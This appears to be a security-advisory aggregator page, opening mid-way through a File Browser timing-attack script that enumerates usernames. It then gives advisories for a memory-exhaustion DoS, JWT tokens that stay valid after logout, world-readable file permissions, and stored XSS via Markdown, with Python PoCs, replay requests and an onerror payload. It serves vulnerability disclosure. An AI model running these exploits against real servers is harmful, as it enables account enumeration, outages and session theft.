def measureresponsetime(url, username): start = time.perfcounter() try: requests.post(url, json={"username": username, "password": "dummypass123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perfcounter() - start

def calibrate(url): print(f"\n[] Calibrating with {CALIBRATIONSAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for in range(CALIBRATIONSAMPLES): randomuser = generaterandomuser() elapsed = measureresponsetime(url, randomuser) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold

def loadwordlist(wordlistpath): try: with open(wordlistpath, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlistpath}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1)

def timingattack(url, threshold, users): print(f"\n[] Testing {len(users)} users from wordlist...") print("-" 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" 50) found = [] for user in users: elapsed = measureresponsetime(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found

def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.addargument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.addargument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parseargs() targeturl = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[] Target: {targeturl}") print(f"[] Wordlist: {args.wordlist}") try: threshold = calibrate(targeturl) users = loadwordlist(args.wordlist) print(f"\n[] Loaded {len(users)} users from wordlist") print("[] Starting attack...") validusers = timingattack(targeturl, threshold, users) print("\n" + "="50) print(f"SUMMARY: {len(validusers)} valid users found") if validusers: for u in validusers: print(f" -> {u}") print("="50) except KeyboardInterrupt: print("\n[!] Attack cancelled")

if name == "main": main()

For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" />

I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.

Details

The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.

This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.

PoC 0. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:

docker run \ -v filebrowserdata:/srv \ -v filebrowserdatabase:/database \ -v filebrowserconfig:/config \ -p 8080:80 \ filebrowser/filebrowser

1. First login in your filebrowser and create a simple empty file eg. name it another 2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)

python import requests

url = "http://filebrowser-server-IP:8080/api/resources/another" authtoken = "eyJh-auth-token-goes-here" headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:139.0) Gecko/20100101 Firefox/139.0", "Accept": "/", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Referer": "http://filebrowser-server-IP:8080/files/another", "X-Auth": authtoken, "Content-Type": "text/plain;charset=UTF-8", "Origin": "http://filebrowser-server-IP:8080", "Connection": "close", "Priority": "u=0" }

Generate a very large string into a file (e.g 1.6 GB)

base = "testing data goes here\n" repeatcount = 120000000

data = base repeatcount

print("Sending large payload...") response = requests.put(url, headers=headers, data=data)

Output the response print(f"Status Code: {response.statuscode}") print("Response Body:") print(response.text)

3. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)

Impact Denial of Service

Evidence <img width="2191" height="350" alt="Pasted image (4)" src="https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7" />

<img width="2012" height="1039" alt="Pasted image (2)" src="https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85" />

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

File Browser’s authentication system issues long-lived JWT tokens that remain valid even after the user logs out. Please refer to the CWE's listed in this report for further reference and system standards. In summary, the main issue is:

- Tokens remain valid after logout (session replay attacks)

In this report, I used docker as the documentation instruct:

docker run \ -v filebrowserdata:/srv \ -v filebrowserdatabase:/database \ -v filebrowserconfig:/config \ -p 8080:80 \ filebrowser/filebrowser

Details

Issue: Tokens remain valid after logout (session replay attacks)

After logging in and receiving a JWT token, the user can explicitly "log out." However, this action does not invalidate the issued JWT. Any captured token can be replayed post-logout until it expires naturally. The backend does not track active sessions or invalidate existing tokens on logout. Login request:

POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69

{"username":"admin","password":"password-here","recaptcha":""}

The check found in the code https://github.com/filebrowser/filebrowser/blob/master/http/auth.go is not enough. There is no server-side blacklist or token invalidation on logout. Token renewal and validity only depends on expiry and user store timestamps:

expired := !tk.VerifyExpiresAt(time.Now().Add(time.Hour), true) updated := tk.IssuedAt != nil && tk.IssuedAt.Unix() < d.store.Users.LastUpdate(tk.User.ID)

PoC

Issue: Tokens remain valid after logout (session replay attacks)

- Login and capture the generate JWT. Eg. the http request:

POST /api/login HTTP/1.1 Host: machine.local:8090 Content-Length: 69

{"username":"admin","password":"password-here","recaptcha":""}

- Logout in the dashboard. And then try to use the old generated JWT to access any authenticated endpoint eg:

GET /api/resources HTTP/1.1 Host: machine.local:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 X-Auth: Old-JWT-token-here Content-Length: 173 Accept: / Referer: http://machine.local:8090/files/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Length: 26

Connection: keep-alive

Impact

- A valid JWT remains active after user logout. - If stolen, tokens persist access indefinitely until expiry. - Violates OWASP Top 10 A2:2021 - Broken Authentication.

Recommendations

- Read all CWE's attached in this report - Invalidate JWTs on logout via session store / token blacklist. - Reduce JWT ExpiresAt where possible or use short-lived + refresh tokens.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary ##

The file access permissions for files uploaded to or created from File Browser are never explicitly set by the application. The same is true for the database used by File Browser. On standard servers where the umask configuration has not been hardened before, this makes all the stated files readable by any operating system account.

Impact ##

The default permissions for new files on a standard Linux system are 0644, making them world-readable. That means that at least the following parties have full read access to all files managed by the Filebrowser from all scopes, as well as its database (including the password hashes stored in there):

All OS accounts on the server All other applications running on the same server Any Filebrowser user with Command Execution privileges having access to a command that allows reading a file's content

Vulnerability Description ##

On a Linux system, the file access permissions of new files are designated by the system wide umask setting, unless they are configured manually. Most distributions set this value to 022 by default which gives every account on the system read permissions on the file.

bash $ umask 022 $ touch foo $ ls -l foo -rw-r--r-- 1 sba sba 0 31. Mär 15:08 foo

Proof of Concept ##

Upload or create a file in the Filebrowser GUI and list the directory contents from a shell:

bash $ ls -l /srv/filebrowser/testdir total 12 -rw-r--r-- 1 sba sba 7703 Mar 25 16:07 dummy1.pdf -rw-r--r-- 1 sba sba 3 Mar 25 15:46 testfile.txt

The same can be validated for Docker based deployments within the container:

bash $ docker exec -it e0f075082a2c ls /srv/testdir -l total 12 -rw-r--r-- 1 1000 1000 7703 Mar 25 15:07 dummy1.pdf -rw-r--r-- 1 1000 1000 3 Mar 25 14:46 testfile.txt

Furthermore, the database used by the Filebrowser application is readable by any account:

bash $ ls -l /srv/filebrowser/filebrowser.db -rw-rw-r-- 1 sba sba 65536 Mar 25 09:58 /srv/filebrowser/filebrowser.db

Recommended Countermeasures ##

Since the system's umask configuration cannot be controlled by the Filebrowser, the application needs to set the permissions of all new files manually upon creation. No permissions should be given to the other category.

Implementing this won't fix the permissions for active instances after an update, so site administrators will need to fix the permissions manually:

bash $ chmod o-rwx -R /srv/filebrowser/datadir

Timeline ##

2025-03-25 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-26 CVE ID assigned by GitHub 2025-06-26 Fix released with version 2.33.7

References ##

CWE-276: Incorrect Default Permissions What is Umask and How To Setup Default umask Under Linux?

Credits ##

Mathias Tausig (SBA Research)

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary ##

The Markdown preview function of File Browser v2.32.0 is vulnerable to Stored Cross-Site-Scripting (XSS). Any JavaScript code that is part of a Markdown file uploaded by a user will be executed by the browser

Impact ##

A user can upload a malicious Markdown file to the application which can contain arbitrary HTML code. If another user within the same scope clicks on that file, a rendered preview is opened. JavaScript code that has been included will be executed.

Malicious actions that are possible include: Obtaining a user's session token Elevating the attacker's privileges, if the victim is an administrator (e.g., gaining command execution rights)

Vulnerability Description ##

Most Markdown parsers accept arbitrary HTML in a document and try rendering it accordingly. For instance, if one creates a file called xss.md with the following content:

markdown Hallo

<b>foo</b>

<img src="xx" onerror=alert(9)> <i>bar</i>

Bold and italic text will be rendered. Also, the renderer used in File Browser will try to display the image and execute the code in the onerror event handler.

Proof of Concept ##

The screenshot shows that the code from the file mentioned above has actually been executed in the victim's browser:

!JavaScript code being executed in the Markdown Preview

Recommended Countermeasures ##

The most thorough fix would be to reconfigure the application's Markdown parser to ignore all HTML elements and only render rich text which is part of the Markdown specification. If HTML rendering is considered to be a required feature, an HTML sanitizer like DOMPurify should be used, preferably in conjunction with a Content Security Policy (CSP).

Timeline ##

2025-03-25 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-26 CVE ID assigned by GitHub 2025-06-26 Fix released with version 2.33.7

References ##

DOMPurify

Credits ##

Mathias Tausig (SBA Research)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203